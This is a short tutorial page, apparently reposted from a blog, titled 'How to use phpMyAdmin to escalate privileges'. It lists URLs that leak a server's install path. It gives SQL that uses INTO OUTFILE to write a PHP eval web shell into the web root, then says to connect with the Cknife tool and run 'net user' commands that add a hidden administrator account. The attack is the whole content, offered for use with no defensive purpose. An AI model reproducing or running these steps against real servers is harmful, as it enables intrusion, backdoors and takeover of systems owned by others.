Home > Database > phpMyAdmin > body text

How to use phpMyAdmin to escalate privileges

藏色散人
Release: 2021-02-03 18:48:51
forward
2831 people have browsed it

The following tutorial column of phpmyadmin will introduce to you how to use phpMyAdmin to escalate privileges. I hope it will be helpful to friends in need!

Use phpMyAdmin to escalate privileges

Explode path

  • ##/phpmyadmin/libraries/lect_lang.lib.php
  • /phpMyAdmin/index.php?lang[]=1
  • /phpMyAdmin/phpinfo.php
  • /load_file()
  • /phpmyadmin/themes/darkblue_orange/layout.inc.php
  • ##/phpmyadmin/libraries/select_lang.lib.php
  • /phpmyadmin/libraries/lect_lang.lib.php
  • /phpmyadmin/libraries/mcrypt.lib.php
Get the physical path C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php

WRITE MA

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php eval($_POST[Cknife]);?>");
select cmd from a into outfile "C:/wamp/www/phpmyadmin/d.php";
Drop TABLE IF EXISTS a;
Copy after login

Get webshell

Finally connect with Cknife, create an account and add it to the administrator user group


net user admin admin /add
net localgroup administrator admin /add

The above is the detailed content of How to use phpMyAdmin to escalate privileges. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:cnblogs.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template